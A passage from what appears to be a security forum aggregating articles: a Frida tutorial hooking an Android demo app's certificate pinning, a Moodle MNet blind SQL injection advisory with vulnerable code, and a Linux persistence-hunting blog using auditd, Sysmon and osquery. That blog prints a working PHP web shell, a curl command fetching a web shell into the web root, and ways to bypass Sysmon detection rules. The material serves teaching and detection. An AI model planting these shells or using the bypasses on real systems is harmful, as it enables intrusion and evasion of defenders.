InputStreamReader(sSLSocket.getInputStream())).readLine())); sSLSocket.close(); this.this$0.onSuccess(R.id.manually_pinned); return Unit.INSTANCE; } sSLSocket.close(); throw new Error("Unrecognized cert hash."); } throw new TypeCastException("null cannot be cast to non-null type javax.net.ssl.SSLSocket"); } catch (Throwable th) { System.out.println(th); this.this$0.onError(R.id.manually_pinned, th.toString()); } } else { throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine"); } } There's a lot going on here! The original code (here) is written in Kotlin and uses coroutines, which adds a lot of extra noise in the compiled output. Fortunately, we don't need to understand everything. To change this behaviour, we just need to work out what code paths could lead to the highlighted line above, where the error is thrown. As you can see here, JADX has taken some best guesses at the variable names involved in this code, inferring them from the types created (e.g. printWriter = new PrintWriter) and from the methods called (peerCertificates = session.getPeerCertificates()). This is pretty clever, and helps a lot to see what's happening. It's not perfect though. You can see from some inferred variables like createSocket = instance.getSocketFactory().createSocket("untrusted-root.badssl.com", 443), where the variable has just taken the name of the method, or the z boolean variable, where no clues where available to infer anything useful at all. If you have experience with code like this it may be easy to see what's happening here, but let's walk through it step by step: The line we're interested in only runs if z is false, since the preceeding if (z) block ends with return. We can rename z to isCertValid (made easier by automated refactoring) and remove some Kotlin boilerplate to make the code immediately clearer, giving us code like: boolean isCertValid = true; //... int length = peerCertificates.length; int i = 0; while (true) { if (i >= length) { isCertValid = false; break; } Certificate certificate = peerCertificates[i]; MainActivity mainActivity = this.this$0; if (mainActivity.doesCertMatchPin(MainActivityKt.BADSSL_UNTRUSTED_ROOT_SHA256, certificate)) { break; } i++; } if (isCertValid) { // ... return Unit.INSTANCE; } sSLSocket.close(); throw new Error("Unrecognized cert hash."); The block before the if is while (true), so this code only runs after that breaks. The break commands happen after either checking all values (setting isCertValid to false) or after doesCertMatchPin returns true for one value. That means the exception is only thrown when doesCertMatchPin returns false for all values, and that method is indeed what causes our problem. This gives us a good understanding of the logic here: the code checks every certificate linked to a socket, and calls doesCertMatchPin from the MainActivity class to compare it to BADSSL_UNTRUSTED_ROOT_SHA256. This is an intentionally simple example. Real examples will be more complicated! But hopefully this gives you an idea of the process, and the same techniques of incremental renaming, refactoring and exploring can help you understand more complex cases. It's worth noting that the relatively clear code here isn't always available, usually because obfuscation techniques are used to rename classes, fields & methods throughout the code to random names (a, b..., aa, ab...). In that case, the same process we're discussing here applies, but you won't have many of the names available as clues to start with, so you can only see the overall structure and references to built-in JVM APIs. It is still always possible to reverse engineer such apps, but it's much more important to quickly find the precise code that you're interested in before you start, and the process of understanding it is significantly more difficult. That's a topic for another blog post though (watch this space). Patch it with Frida Once we've found the code, we need to think about how to change it. For our example here, it's easy: we need to make doesCertMatchPin return true every time. Be aware Frida gives you a lot of power to patch code, but the flexibility is not unlimited. Frida patches are very focused on method implementation replacement, and it's very difficult (if not impossible) to use Frida to patch to individual lines within existing methods. You need to look out for method boundaries at which you can change behaviour. For certificate pinning, that's fairly easy, because certificate checks are almost always going to live in a separate method like checkCertificate(cert), so you can focus on that. In other cases though this can get more complicated. In this specific case, we're looking to patch the doesCertMatchPin function in the tech.httptoolkit.pinning_demo.MainActivity class. Within a Frida script, we first need to get a reference to that method: const certMethod = Java.use("tech.httptoolkit.pinning_demo.MainActivity").doesCertMatchPin; Then we need to assign an alternative implementation to that method, like so: certMethod.implementation = () => true; After this patch is applied, the real implementation of that doesCertMatchPin method will never be called, and it'll just return true instead. This is a simple example. There's many more complex things you can do though. Here's some examples: // Disable a property setter, to stop some fields being changed: const classWithSetter = Java.use("a.target.class"); classWithSetter.setATargetProperty.implementation = () => { return; // Don't actually set the property }; // Wrap a method, to add extra functionality or logging before and after without // changing the existing functionality: const classToWrap = Java.use("a.target.class"); const originalMethod = classToWrap.methodToWrap; classToWrap.methodToWrap.implementation = () => { console.log('About to run method'); const result = originalMethod.apply(this, arguments); console.log('Method returned', result); return result; }; // Hook the constructor of an object: const classToHook = Java.use("a.target.class"); const realConstructor = classToHook.$init; classToHook.$init.implementation = () => { // Run the real constructor: realConstructor.apply(this, arguments); // And then modify the initial state of the class however you like before // anything else gets access to it: this.myField = null; }; There's a huge world of options here - those are just some of the basic techniques at your disposal. Once you've found a method you want to patch and you've got an idea how you'll do it, you need to set up Frida (see this guide if you haven't done so already) to test it out. Once Frida is working you can test out your patch interactively, and tweak it live to get it working. For example, to test out our demo hook above: Attach HTTP Toolkit to the device Run the app, check that the "Manually pinned request" button fails and shows a certificate error in HTTP Toolkit. Start Frida server on the device Restart your application with Frida attached by running: frida --no-pause -U -f tech.httptoolkit.pinning_demo This will start the app, and give you a REPL to run Frida commands Run Java.perform(() => console.log('Attached')) to attach this process to the VM & class loader (it'll pause briefly, then log 'Attached'). Test out some hooks. For our demo app, for example, you can hook the certificate pinning function by running: Java.use("tech.httptoolkit.pinning_demo.MainActivity").doesCertMatchPin.implementation = () => true; Clear the logs in HTTP Toolkit, and then press the "Manually pinned request" button again It works! The button should go green, and the full request should appears successfully in HTTP Toolkit. Once you've something that works in a REPL, you can convert it into a standalone script, like so: Java.perform(() => { console.log("Patching..."); const mainActivityClass = Java.use("tech.httptoolkit.pinning_demo.MainActivity"); const certMethod = mainActivityClass.doesCertMatchPin; certMethod.implementation = () => true; console.log("Patched"); }); and then you can run this non-interactively with Frida using the -l option, for example: frida --no-pause -U -f tech.httptoolkit.pinning_demo -l ./frida-script.js That command will restart the app with the script injected immediately, so that that certificate pinning behind this button is unpinned straight away, and tapping the button will always show a successful result: If you want examples of more advanced Frida behaviour, take a look through the my cert unpinning script for certificate pinning examples for every popular library and some other interesting cases, or check out this huge selection of Frida snippets for snippets demonstrating all sorts of other tricks and APIs available. I hope you find this helps you to reverse engineer, understand & hook Android applications! Have questions or run into trouble? Get in touch on Twitter, file issues against my Frida script, or send me a message directly. Published 4 days ago by Tim Perry Sursa: https://httptoolkit.tech/blog/android-reverse-engineering/
-
OffensiveAutoIt Offensive tooling notes and experiments in AutoIt v3. Table of Contents OffensiveAutoIt Why AutoIt? OffensiveAutoIt scripts Using AutoIt scripts Compiling scripts into standalone executables Using scripts without compilation into executables AutoIt3.exe AutoItX Setting up a dev environment Debugging Decompiling AutoIt executables Decompiling .a3x files Obfuscating scripts AutoIt in the wild Detection YARA rules Miscellaneous Blog posts Interesting AutoIt projects Sursa: https://github.com/V1V1/OffensiveAutoIt
-
- 4
-
-
Moodle Blind SQL injection via MNet authentication 23-11-2021 - rekter0 Moodle is an opensource learning management system, popular in universities and workplaces largely used to manage courses, activities and learning content, with about 200 million users Versions affected 3.10 to 3.10.3, 3.9 to 3.9.6, 3.8 to 3.8.8, 3.5 to 3.5.17 CVE identifier CVE-2021-32474 # Summary What is Mnet? The Moodle network feature allows a Moodle administrator to establish a link with another Moodle or a Mahara site and to share some resources with the users of that Moodle. Official documentation: https://docs.moodle.org/310/en/MNet How ? Mnet communicate with peers through xmlrpc, and uses encrypted and signed messages with RSA 2048 So what ? auth/mnet/auth.php/keepalive_server xmlrpc method used to pass unsanitized user supplied parameters to SQL query => SQL injection Attack scenario ? 1- You compromised one moodle instance, and use it to launch attack on its peers 2- An evil moodle instance decides to attack its peers 3- For one reason or another some mnet instance keypairs are leaked # Vulnerability analysis Moodle uses singed and encrypted xmlrpc messages to communicate via MNet protocol /mnet/xmlrpc/client.php function send($mnet_peer) { global $CFG, $DB; if (!$this->permission_to_call($mnet_peer)) { mnet_debug("tried and wasn't allowed to call a method on $mnet_peer->wwwroot"); return false; } > $this->requesttext = xmlrpc_encode_request($this->method, $this->params, array("encoding" => "utf-8", "escaping" => "markup")); > $this->signedrequest = mnet_sign_message($this->requesttext); > $this->encryptedrequest = mnet_encrypt_message($this->signedrequest, $mnet_peer->public_key); $httprequest = $this->prepare_http_request($mnet_peer); > curl_setopt($httprequest, CURLOPT_POSTFIELDS, $this->encryptedrequest); xmlrpc message is first singed using private key /mnet/lib.php function mnet_sign_message($message, $privatekey = null) { global $CFG; $digest = sha1($message); $mnet = get_mnet_environment(); // If the user hasn't supplied a private key (for example, one of our older, // expired private keys, we get the current default private key and use that. if ($privatekey == null) { $privatekey = $mnet->get_private_key(); } // The '$sig' value below is returned by reference. // We initialize it first to stop my IDE from complaining. $sig = ''; $bool = openssl_sign($message, $sig, $privatekey); // TODO: On failure? $message = '<?xml version="1.0" encoding="iso-8859-1"?> <signedMessage> <Signature Id="MoodleSignature" xmlns="http://www.w3.org/2000/09/xmldsig#"> <SignedInfo> <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/> <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> <Reference URI="#XMLRPC-MSG"> <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> <DigestValue>'.$digest.'</DigestValue> </Reference> </SignedInfo> <SignatureValue>'.base64_encode($sig).'</SignatureValue> <KeyInfo> <RetrievalMethod URI="'.$CFG->wwwroot.'/mnet/publickey.php"/> </KeyInfo> </Signature> <object ID="XMLRPC-MSG">'.base64_encode($message).'</object> <wwwroot>'.$mnet->wwwroot.'</wwwroot> <timestamp>'.time().'</timestamp> </signedMessage>'; return $message; } The xml envelope along signature is then encrypted /mnet/lib.php function mnet_encrypt_message($message, $remote_certificate) { $mnet = get_mnet_environment(); // Generate a key resource from the remote_certificate text string $publickey = openssl_get_publickey($remote_certificate); if ( gettype($publickey) != 'resource' ) { // Remote certificate is faulty. return false; } // Initialize vars $encryptedstring = ''; $symmetric_keys = array(); // passed by ref -> &$encryptedstring &$symmetric_keys $bool = openssl_seal($message, $encryptedstring, $symmetric_keys, array($publickey)); $message = $encryptedstring; $symmetrickey = array_pop($symmetric_keys); $message = '<?xml version="1.0" encoding="iso-8859-1"?> <encryptedMessage> <EncryptedData Id="ED" xmlns="http://www.w3.org/2001/04/xmlenc#"> <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#arcfour"/> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:RetrievalMethod URI="#EK" Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/> <ds:KeyName>XMLENC</ds:KeyName> </ds:KeyInfo> <CipherData> <CipherValue>'.base64_encode($message).'</CipherValue> </CipherData> </EncryptedData> <EncryptedKey Id="EK" xmlns="http://www.w3.org/2001/04/xmlenc#"> <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:KeyName>SSLKEY</ds:KeyName> </ds:KeyInfo> <CipherData> <CipherValue>'.base64_encode($symmetrickey).'</CipherValue> </CipherData> <ReferenceList> <DataReference URI="#ED"/> </ReferenceList> <CarriedKeyName>XMLENC</CarriedKeyName> </EncryptedKey> <wwwroot>'.$mnet->wwwroot.'</wwwroot> </encryptedMessage>'; return $message; } On the other side the server receives the xmlrpc request and processes it via verifying signature then decrypting the envelope /mnet/xmlrpc/server.php try { $plaintextmessage = mnet_server_strip_encryption($rawpostdata); $xmlrpcrequest = mnet_server_strip_signature($plaintextmessage); } catch (Exception $e) { mnet_debug('encryption strip exception thrown: ' . $e->getMessage()); exit(mnet_server_fault($e->getCode(), $e->getMessage(), $e->a)); } [...] [...] // Have a peek at what the request would be if we were to process it > $params = xmlrpc_decode_request($xmlrpcrequest, $method); mnet_debug("incoming mnet request $method"); [...] [...] if ((($remoteclient->request_was_encrypted == true) && ($remoteclient->signatureok == true)) || (($method == 'system.keyswap') || ($method == 'system/keyswap')) || (($remoteclient->signatureok == true) && ($remoteclient->plaintext_is_ok() == true))) { try { // main dispatch call. will echo the response directly > mnet_server_dispatch($xmlrpcrequest); mnet_debug('exiting cleanly'); exit; } catch (Exception $e) { mnet_debug('dispatch exception thrown: ' . $e->getMessage()); exit(mnet_server_fault($e->getCode(), $e->getMessage(), $e->a)); } } Then moodle dispatch xmlrequest method to the appropriate functions. Blind SQL Injection keepalive_server method used to pass client supplied parameters to SQL query unsanitized /auth/mnet/auth.php function keepalive_server($array) { global $CFG, $DB; $remoteclient = get_mnet_remote_client(); // We don't want to output anything to the client machine $start = ob_start(); // We'll get session records in batches of 30 $superArray = array_chunk($array, 30); $returnString = ''; foreach($superArray as $subArray) { $subArray = array_values($subArray); > $instring = "('".implode("', '",$subArray)."')"; > $query = "select id, session_id, username from {mnet_session} where username in $instring"; > $results = $DB->get_records_sql($query); if ($results == false) { // We seem to have a username that breaks our query: // TODO: Handle this error appropriately $returnString .= "We failed to refresh the session for the following usernames: \n".implode("\n", $subArray)."\n\n"; } else { foreach($results as $emigrant) { \core\session\manager::touch_session($emigrant->session_id); } } } $end = ob_end_clean(); if (empty($returnString)) return array('code' => 0, 'message' => 'All ok', 'last log id' => $remoteclient->last_log_id); return array('code' => 1, 'message' => $returnString, 'last log id' => $remoteclient->last_log_id); } array parameters for keepalive_server used to be processed via implode and concatinated into the SQL query leading to blind SQL injection risks. # Impact Blind SQL injection risks in keepalive_server xmlrpc method for MNet Authentication, Successful exploitation could have led to compromising the targeted moodle instance with RCE possibility. # Timeline 24-01-2021 - Reported 05-02-2021 - Vendor confirmed 17-05-2021 - Fixed in new release Sursa: https://r0.haxors.org/posts?id=26
-
Personal information inference from voice recordings: User awareness and privacy concerns Jacob Leon Kröger, Leon Gellrich, Sebastian Pape, Saba Rebecca Brause and Stefan Ullrich Published Online: 20 Nov 2021 Page range: 6 - 27 Received: 31 May 2021 Accepted: 16 Sep 2021 DOI: https://doi.org/10.2478/popets-2022-0002© 2022 Jacob Leon Kröger et al., published by SciendoThis work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 3.0 License. Download Sursa: https://sciendo.com/article/10.2478/popets-2022-0002
-
Hunting for Persistence in Linux (Part 1): Auditd, Sysmon, Osquery, and Webshells Nov 22, 2021 • Pepe Berba This blog series explores methods attackers might use to maintain persistent access to a compromised linux system. To do this, we will take an “offense informs defense” approach by going through techniques listed in the MITRE ATT&CK Matrix for Linux. I will try to: Give examples of how an attacker might deploy one of these backdoors Show how a defender might monitor and detect these installations By giving concrete implementations of these persistence techniques, I hope to give defenders a better appreciation of what exactly they are trying to detect, and some clear examples of how they can test their own alerting. Overview of blog series The rest of the blog post is structured with the following: Introduction to persistence Linux Auditing and File Integrity Monitoring How to setup and detect web shells Each persistence technique has two main parts: How to deploy the persistence techniques How to monitor and detect persistence techniques In this blog post we will only discuss web shell as a case study for logging and monitoring. We will discuss other techniques in succeeding posts. Throughout this series we will go through the following: Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells Server Software Component: Web Shell Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation Create Account: Local Account Valid Accounts: Local Accounts Account Manipulation: SSH Authorized Keys Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron Create or Modify System Process: Systemd Service Scheduled Task/Job: Systemd Timers Scheduled Task/Job: Cron Hunting for Persistence in Linux (Part 4): Initialization Scripts, Shell Configuration, and others Boot or Logon Initialization Scripts: RC Scripts Event Triggered Execution: Unix Shell Configuration Modification Introduction to persistence Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access [1] Attackers employ persistence techniques so that exploitation phases do not need to be repeated. Remember, exploitation is just the first step for the attacker; they still need to take additional steps to fulfill their primary objective. After successfully gaining access to the machine, they need to pivot through the network and find a way to access and exfiltrate the crown jewels. During these post exploitation activities, the the attacker’s connection to the machine can be severed, and to regain access, the attacker might need to repeat the exploitation step. Redoing the exploitation might be difficult depending on the attacker vector: Sending an email with a malicious attachment: The victim wouldn’t open the same maldoc twice. You’d have to send another email and hope the victim will fall for it again. Using leaked credentials and keys: The passwords might be reset or the keys are revoked Exploiting servers with critical CVEs: The server can be patched Because of how difficult the exploitation can be, an attacker would want to make the most out of their initial access. To do this, they install backdoor access that reliably maintain access to the compromised machine even after reboots. With persistence installed, the attacker no longer need to rely on exploitation to regain access to the system. He might simply use the added account in the machine or wait for the reverse shell from a installed service. 0 Linux Logging and Auditing 0.1 File Integrity Monitoring The configuration changes needed to setup persistence usually require the attacker to touch the machine’s disk such as creating or modifying a file. This gives us an opportunity to catch the adversaries if we are able to lookout for file creation or modification related to special files of directories. For example, we can look for the creation of the web shell itself. This can be done by looking for changes within the web directory like /var/www/html . You can use the following: Wazuh’s File Integrity Monitoring: https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html Auditbeat’s File Integrity Monitoring: https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html auditd For the blog posts, we will be using mainly auditd, and auditbeats jointly. For instructions how to setup auditd and auditbeats see A02 in the appendix. 0.2 Auditd and Sysmon 0.2.1 What is sysmon and auditd? Two powerful tools to monitor the different processes in the OS are: auditd: the defacto auditing and logging tool for Linux sysmon: previously a tool exclusively for windows, a Linux port has recently been released Each of these tools requires you to configure rules for it to generate meaningful logs and alerts. We will use the following for auditd and sysmon respectively: https://github.com/Neo23x0/auditd https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux For instructions how to install sysmon refer to appendix A01. 0.2.2 Comparison of sysmon and auditd At the time of writing this blog post, sysmon for linux has only been released for about a month now. I have no experience deploying sysmon at scale. Support for sysmon for linux is still in development for agents such as Linux Elastic Agent see issue here I’m using sysmonforlinux/buster,now 1.0.0 amd64 [installed] While doing the research for this blogpost, my comments so far are: sysmon’s rule definitions are much more flexible and expressive than auditd’s rules depending on user input fields such as CommandLine` can be bypassed just like other rules using string matching. In my testing, sysmon only has the event FileCreate which is triggered only when creating or overwriting of files. This means that file modification is not caught by Sysmon (such as appending to files). This means that file integrity monitoring is a weakness for Sysmon. I’ve experienced some problems with the rule title displayed in the logs. Auditd rules can filter up to the syscall level and sysmon filters based on highlevel predfined events such as ProcessCreation, and FileCreate. This means that if a particular activity that you are looking for is not mapped to a sysmon event, then you might have a hard time using sysmon to watch for it. Overall, I’m very optimistic with using adopting sysmon for linux in the future to look for interesting processes and connections but would still rely on other tools for file integrity monitoring such as auditd or auditbeats. In windows, having only FileCreate okay since you have other events specific to configuration changes in registry keys RegistryEvent, but in Linux since all of the configurations are essentially files, then file integrity monitoring plays a much bigger role in hunting for changes in sysmte configuration. The good thing with sysmon, is that rules for network activities and process creation is much more expressive compared to trying to to use a0, a1 for command line arguments in auditd. We will discuss some of the findings in the next blog posts but some examples of bypasses are: T1087.001_LocalAccount_Commands.xml looks for commands that have /etc/passwd to detect account enumeration. We can use cat /etc//passwd to bypass this rule T1070.006_Timestomp_Touch.xml looks for -r or --reference in touch commands to look for timestamp modification. We can use touch a -\r b to bypass this or even touch a -\-re\ference=b T1053.003_Cron_Activity.xml aims to monitor changes to crontab files. Using echo "* * * * * root touch /root/test" >> /etc/crontab will bypass this because it does not create or overwrite a file, and in Debian 10 using the standard crontab -e will not trigger this because the TargetFilename is +/var/spool/cron/crontabs and the extra + at the start causes the rule to fail. You can see the different architectures for auditd and sysmon here: Redhat CHAPTER 7. SYSTEM AUDITING Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux We see from the diagram from linuxsecurity.com that Sysmon works on top of eBPF which is an interface for syscalls of the linux kernel. This serves as an abstraction when we define sysmon rules, but as a consequence, this flexibility gives attackers room to bypass some of the rules. For example, in sysmon, we can look for a FileCreate event with a specific TargetFilename. This is more flexible because you can define rules based on patterns or keywords and look for files that do no exist yet. However, string matches such as /etc/passwd can fail if the target name is not exactly that string. Unlike in auditd, what is being watched are actions on the inodes of the files and directories defined. This means that there is no ambiguity what specific files to watch. You can even look for read access to specific files. However, because it watches based on inodes, the files have to exist what the auditd service is started. This means you cannot watch files based on certain patterns like <home>/.ssh/authorized_keys 0.3 osquery Osquery allows us to investigate our endpoints using SQL queries. This simplifies the task of investigating and collecting evidence. Moreover, when paired with management interface like fleetdm allows you to take baselines of your environments and even hunt for adversaries. An example from a future blog post is looking for accounts that have a password set. If you expect your engineers to always SSH via public key, then you should not see active passwords. We can get this information using this query SELECT password_status, username, last_change FROM shadow WHERE password_status = 'active'; And get results for all your fleet something similar to this +-----------------+----------+-------------+ | password_status | username | last_change | +-----------------+----------+-------------+ | active | www-data | 18953 | +-----------------+----------+-------------+\ Now why does www-data have a password? Hmm… Installation instructions can be found in the official docs Once installed simply run osqueryi and run the SQL queries. 1 Server Software Component: Web Shell 1.1 Introduction to web shells MITRE: https://attack.mitre.org/techniques/T1505/003/ A web shell is backdoor installed in a web server by an attacker. Once installed, it becomes the initial foothold of the attacker, and if it’s never detected, then it becomes an easy way to persistent backdoor. In our example, to install a web shell we add a bad .php file inside/var/www/html Some reasons this can happen are: the web application has a vulnerable upload API the web application has a critical RCE vulnerability the attacker has existing access that can modify the contents of the web root folder If the attacker can upload malicious files that run as php, then he can get remote access to the machine. One famous example of this is the 2017 Equifax Data Breach. You can read the report, but here’s my TLDR: The web server was running Apache Struts containing a critical RCE vulnerability. Attackers used this RCE to drop web shells which they used to gain access to sensitive data and exfiltrate the data. Around 30 different web shells was used in the breach. See the following resources: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload https://portswigger.net/web-security/os-command-injection 1.2 Installing your own web shells Note: If you want to try this out you can follow the setup instructions in the appendix A00. Assume we already have RCE, we add a file phpinfo.php that will contain our web shell. vi /var/www/html/phpinfo.php Choose any of the examples php web shells. For example: <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?> </pre> Now anyone with access to http://x.x.x.x/phpinfo.php would be able to access the web shell and run arbitrary commands. What if you don’t have shell access? You might be able to install a web shell through an unrestricted upload. Upload your php backdoor as image.png.php and the backdoor might be accessible on [http://x.x.x.x/](http://x.x.x.x/)uploads/image.png.php . Another possible command that you can use is curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php 1.3 Detection: Creation or modification of php files Using auditbeat’s file integrity monitoring For some web applications, we might be able to monitor the directories of our web app in auditbeat’s file integrity monitoring. - module: file_integrity paths: - /bin - /usr/bin - /sbin - /usr/sbin - /etc - /var/www/html # <--- Add - module: system datasets: - package # Installed, updated, and removed packages When using _auditbeat’_s file integrity monitoring module, we see that looking at event.module: file_integrity Our vi command “moved” the file. In this case, moved is the same as updated because of how vi works. Where it creates a temporary file /var/www/html/phpinfo.php.swpand if you want to save the file it replaces /var/www/html/phpinfo.php An example of a command that will result in a created log would be if we ran curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php Using audit to monitor changes We can add the following rule to auditd -w /var/www/html -p wa -k www_changes And you can search for all write or updates to files in /var/www/html using the filter tags: www_changes or key="www_changes" The raw auditd logs looks like this type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 pid=13086 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=11 comm="curl" exe="/usr/bin/curl" subj==unconfined key="www_changes", type=PATH msg=audit(1637597150.454:10650): item=0 name="/var/www/html" inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 name="backdoor_shell.php" inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870 This allows us to note: euid=0 effective UID of the action exe="/usr/bin/curl” the command that was run name="/var/www/html" ... name="backdoor_shell.php" the output file key="www_changes" the key of the auditd alert that was fired proctitle=63757... is the hex encoded title of the process which is our original curl command Notes on file integrity monitoring for detecting web shells There are other ways to check. For example, if there is version control (like git), you can compare the current state with a known good state and investigate the differences. However, if there are folders where we expect specific files to be written and modified often, such as upload directories, then file integrity monitoring might not be fully effective. We might have to fine-tune this alert and try to exclude these upload directories to reduce noise, but how would you detect web shells uploaded within the upload directory! We need to look for more effective means of detecting web shells. 1.4 Detection: Looking for command execution for www-data using auditd When we run webservers such as nginx the service will run under the user www-data . On regular operations, we should not expect to see that user running commands such as whoami or ls However, if there was a web shell, these are some of the commands we are most likely going to see. Therefore, we should try to use auditd to detect these. Here is an auditd rule that will look for execve syscalls by www-data (euid=33) and we tag this as detect_execve_www -a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www -a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www We run the following commands on our webshell whoami id pwd ls -alh We get the following logs from auditd as parsed by auditbeats. Here is an example of a raw auditd log for whoami type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 ppid=7182 pid=13281 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/dash" subj==unconfined key="detect_execve_www", type=EXECVE msg=audit(1637597946.536:10913): argc=3 a0="sh" a1="-c" a2="whoami", type=PATH msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597946.536:10913): proctitle=7368002D630077686F616D69Appendix This allows us to note: euid=33, uid=33 which is www-data comm="sh" exe="/usr/bin/dash” the shell argsc=3 a0="sh" a1="-c" a2="whoami" the commands run on the shell key="detect_execve_www" the key of the auditd alert that was fired Note regarding detect_execve_www Let’s say you decide to use the default rules found in https://github.com/Neo23x0/auditd/blob/master/audit.rules If you try to use ready-made detection rules such as those that come with sigma then you might try to use lnx_auditd_web_rce.yml. If you use this query using the rules from Neo23x0 then you will fail to detect any web shells. This is because the detection rule is detection: selection: type: 'SYSCALL' syscall: 'execve' key: 'detect_execve_www' condition: selection Notice that this filters for the key detect_execve_www but this exact key is not defined anywhere in Neo23x0’s audit.rules ! This is why you should always test your configurations and see if it detects the known bad. In the Neo23x0’s rules, the closest thing you might get are commented out by default ## Suspicious shells #-w /bin/ash -p x -k susp_shell #-w /bin/bash -p x -k susp_shell #-w /bin/csh -p x -k susp_shell #-w /bin/dash -p x -k susp_shell #-w /bin/busybox -p x -k susp_shell #-w /bin/ksh -p x -k susp_shell #-w /bin/fish -p x -k susp_shell #-w /bin/tcsh -p x -k susp_shell #-w /bin/tclsh -p x -k susp_shell #-w /bin/zsh -p x -k susp_shell In this case, our web shell used /bin/dash because it is the default shell used by /bin/shin the current VM I tested this on. So the relevant rule would be -w /bin/dash -p x -k susp_shell But this relies on the usage of /bin/dash buit if the web shell is able to use other shells, then this specific alert will fail. Test your auditd rules on specific scenarios to ensure that it works as expected. For more information on how to write rules for auditd see: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls https://www.redhat.com/sysadmin/configure-linux-auditing-auditd 1.5 Detection: Looking for command execution for www-data using sysmon MSTIC-Sysmon has two rules for this found individually: T1505.003 T1059.004 Where we can see: Process creation using /bin/bash, /bin/dash, or/bin/sh Process creation with the parent process dash or nginx or … containing and the current command is one of whoami , ifconfig , /usr/bin/ip , etc. If we run whoami in the setup we have, the first rule that will be triggered would T1059.004,TechniqueName=Command and Scripting Interpreter: Unix Shell because of the order of the rules. <Event> <System> <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/> <EventID>1</EventID> <Version>5</Version> <Channel>Linux-Sysmon/Operational</Channel> <Computer>sysmon-test</Computer> <Security UserId="0"/> </System> <EventData> <Data Name="RuleName">TechniqueID=T1059.004,TechniqueName=Command and Scriptin</Data> <Data Name="UtcTime">2021-11-23 14:06:07.116</Data> <Data Name="ProcessGuid">{717481a5-f54f-619c-2d4e-bd5574550000}</Data> <Data Name="ProcessId">11662</Data> <Data Name="Image">/usr/bin/dash</Data> <Data Name="FileVersion">-</Data> <Data Name="Description">-</Data> <Data Name="Product">-</Data> <Data Name="Company">-</Data> <Data Name="OriginalFileName">-</Data> <Data Name="CommandLine">sh -c whoami</Data> <Data Name="CurrentDirectory">/var/www/html</Data> <Data Name="User">www-data</Data> <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data> <Data Name="LogonId">33</Data> <Data Name="TerminalSessionId">4294967295</Data> <Data Name="IntegrityLevel">no level</Data> <Data Name="Hashes">-</Data> <Data Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data> <Data Name="ParentProcessId">10242</Data> <Data Name="ParentImage">-</Data> <Data Name="ParentCommandLine">-</Data> <Data Name="ParentUser">-</Data> </EventData> </Event> Here we see /bin/dash being executed that is why the rule was triggered. Afterwards, the rule T1505.003,TechniqueName=Server Software Component: Web Shell is triggered because of whoami . Here is the log for it. I’ve 